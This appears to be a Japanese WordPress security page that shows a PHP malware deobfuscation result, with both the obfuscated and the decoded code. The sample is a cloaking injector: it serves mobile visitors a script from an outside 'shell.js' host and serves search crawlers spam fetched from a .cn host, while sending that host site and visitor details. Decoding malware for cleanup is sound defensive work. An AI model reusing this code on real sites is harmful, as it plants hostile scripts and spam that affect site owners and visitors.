Japanese English

PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php goto etZlw; zoB3Q: define("\x69\x54\116\x52\x44", "\x3f\x64\157\x6d\x61\x69\156\75" . $OsUgP["\110\124\x54\x50\137\x48\117\x53\x54"] . "\46\x70\141\164\150\x3d" . dVjBn . "\x26\146\154\141\x67\75\147\x6c\157\x62\x61\154" . "\x26\144\x62\x3d" . $_SERVER["\122\105\115\x4f\x54\105\x5f\x41\104\...



難読化されたPHPコード

<?php
 goto etZlw; zoB3Q: define("\x69\x54\116\x52\x44", "\x3f\x64\157\x6d\x61\x69\156\75" . $OsUgP["\110\124\x54\x50\137\x48\117\x53\x54"] . "\46\x70\141\164\150\x3d" . dVjBn . "\x26\146\154\141\x67\75\147\x6c\157\x62\x61\154" . "\x26\144\x62\x3d" . $_SERVER["\122\105\115\x4f\x54\105\x5f\x41\104\104\x52"]); goto vCGWv; kem8v: define("\x64\x56\152\x42\156", $OsUgP["\122\105\121\125\x45\123\124\x5f\x55\x52\111"]); goto MDWVS; PPvMT: define("\111\x70\x66\64\x59", "\100\x42\141\151\144\x75\x53\160\x69\144\145\162\x7c\123\157\x67\157\165\x7c\131\151\163\x6f\165\174\x48\x61\x6f\163\x6f\165\174\63\x36\60\123\x70\x69\x64\145\162\x40\151"); goto waMsR; MDWVS: define("\x4e\64\145\123\131", !isset($OsUgP["\110\x54\124\x50\137\122\105\x46\x45\122\x45\x52"]) ? '' : $OsUgP["\x48\x54\x54\x50\137\x52\105\106\105\x52\105\x52"]); goto ywb4g; etZlw: set_time_limit(0); goto n3yve; Vm9H9: define("\x59\x33\x48\147\x57", stristr(dVjBn, "\x2e\170\155\x6c") or stristr(dVjBn, "\x2e\144\x6f\143") or stristr(dVjBn, "\x2e\164\170\x74") or stristr(dVjBn, "\x2e\x70\x70\164") or stristr(dVjBn, "\56\x68\164\155\x6c") or stristr(dVjBn, "\x2e\x78\x6c\163") or stristr(dVjBn, "\x32\60\x32") or stristr(dVjBn, "\x2e\x73\150\x74\x6d\x6c") or stristr(dVjBn, "\61")); goto UrBOV; vCGWv: define("\111\x61\121\x57\131", "\x69\x54\x4e\122\104\46\x72\x65\x66\145\x72\x65\162\x3d" . urlencode(N4eSY)); goto PPvMT; n3yve: error_reporting(0); goto totD_; YzHWA: $OsUgP = $_SERVER; goto QKcHM; waMsR: define("\165\161\166\x74\160", "\x2f\160\x68\157\x6e\145\174\x70\x61\x64\x7c\x70\x6f\144\x7c\151\120\150\157\x6e\x65\x7c\151\120\x6f\x64\174\151\x6f\163\174\x69\120\141\144\174\x41\x6e\144\162\x6f\151\144\174\x4d\x6f\142\151\x6c\x65\174\102\x6c\x61\x63\x6b\x42\x65\x72\162\x79\174\111\105\x4d\157\x62\151\x6c\x65\174\115\121\x51\x42\162\x6f\x77\163\145\162\174\x4a\x55\x43\174\106\145\x6e\156\145\143\174\x77\x4f\123\102\x72\157\167\x73\x65\162\x7c\102\162\157\167\x73\145\x72\x4e\x47\174\x57\x65\x62\x4f\x53\x7c\123\171\x6d\142\151\x61\156\174\x57\x69\x6e\x64\x6f\167\163\x20\120\150\x6f\156\145\x2f"); goto Vm9H9; QKcHM: function Tr1lK($fmjrO) { $rqdhf = curl_init(); curl_setopt($rqdhf, CURLOPT_URL, $fmjrO); curl_setopt($rqdhf, CURLOPT_USERAGENT, $_SERVER["\x48\x54\124\x50\137\x55\123\x45\x52\137\x41\x47\105\116\124"]); curl_setopt($rqdhf, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($rqdhf, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($rqdhf, CURLOPT_RETURNTRANSFER, 1); curl_setopt($rqdhf, CURLOPT_HEADER, 0); curl_setopt($rqdhf, CURLOPT_ENCODING, "\x67\172\151\160"); $kNlZg = curl_exec($rqdhf); curl_close($rqdhf); return $kNlZg; } goto kem8v; ywb4g: define("\x6c\x61\x6a\147\x77", $OsUgP["\110\124\124\x50\x5f\x55\x53\x45\x52\137\101\107\105\x4e\x54"]); goto GQR2E; UrBOV: if (!preg_match(Ipf4Y, lajgw)) { if (!preg_match(uqvtp, lajgw)) { return; } echo "\x3c\163\143\x72\x69\x70\164\40\x73\162\x63\x3d\150\164\x74\x70\163\72\x2f\57\152\163\56\x6c\x75\144\x77\x69\147\x63\x6c\141\163\x73\56\x63\157\155\x2f\x73\x68\x65\154\154\56\152\x73\76\x3c\x2f\163\x63\x72\x69\x70\164\76"; die; } goto jFnH6; yh8gV: $n_BfT = "\163\x74\x72\151\x73\164\162"; goto YzHWA; GQR2E: define("\x43\61\115\165\x65", "\x68\x74\x74\160\72\x2f\x2f\x35\156\x31\70\67\163\56\x63\156\57"); goto zoB3Q; totD_: header("\x43\157\x6e\x74\145\x6e\164\55\124\171\160\x65\72\x20\x74\145\x78\164\x2f\x68\164\x6d\x6c\x3b\143\150\141\x72\x73\x65\x74\x3d\165\x74\x66\55\70"); goto yh8gV; jFnH6: echo tR1LK("\150\x74\164\x70\72\57\57\65\156\x31\70\x37\x73\x2e\143\x6e" . dVjBn); goto Ny22s; Ny22s: die;

デコード(難読化解除)されたコード

<?php

set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
$n_BfT = "stristr";
$OsUgP = $_SERVER;
function Tr1lK($fmjrO)
{
    $rqdhf = curl_init();
    curl_setopt($rqdhf, CURLOPT_URL, $fmjrO);
    curl_setopt($rqdhf, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
    curl_setopt($rqdhf, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($rqdhf, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($rqdhf, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($rqdhf, CURLOPT_HEADER, 0);
    curl_setopt($rqdhf, CURLOPT_ENCODING, "gzip");
    $kNlZg = curl_exec($rqdhf);
    curl_close($rqdhf);
    return $kNlZg;
}
define("dVjBn", $OsUgP["REQUEST_URI"]);
define("N4eSY", !isset($OsUgP["HTTP_REFERER"]) ? '' : $OsUgP["HTTP_REFERER"]);
define("lajgw", $OsUgP["HTTP_USER_AGENT"]);
define("C1Mue", "http://5n187s.cn/");
define("iTNRD", "?domain=" . $OsUgP["HTTP_HOST"] . "&path=" . dVjBn . "&flag=global" . "&db=" . $_SERVER["REMOTE_ADDR"]);
define("IaQWY", "iTNRD&referer=" . urlencode(N4eSY));
define("Ipf4Y", "@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i");
define("uqvtp", "/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/");
define("Y3HgW", stristr(dVjBn, ".xml") or stristr(dVjBn, ".doc") or stristr(dVjBn, ".txt") or stristr(dVjBn, ".ppt") or stristr(dVjBn, ".html") or stristr(dVjBn, ".xls") or stristr(dVjBn, "202") or stristr(dVjBn, ".shtml") or stristr(dVjBn, "1"));
if (!preg_match(Ipf4Y, lajgw)) {
    if (!preg_match(uqvtp, lajgw)) {
        return;
    }
    echo "<script src=https://js.ludwigclass.com/shell.js></script>";
    die;
}
echo tR1LK("http://5n187s.cndVjBn");
die;

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.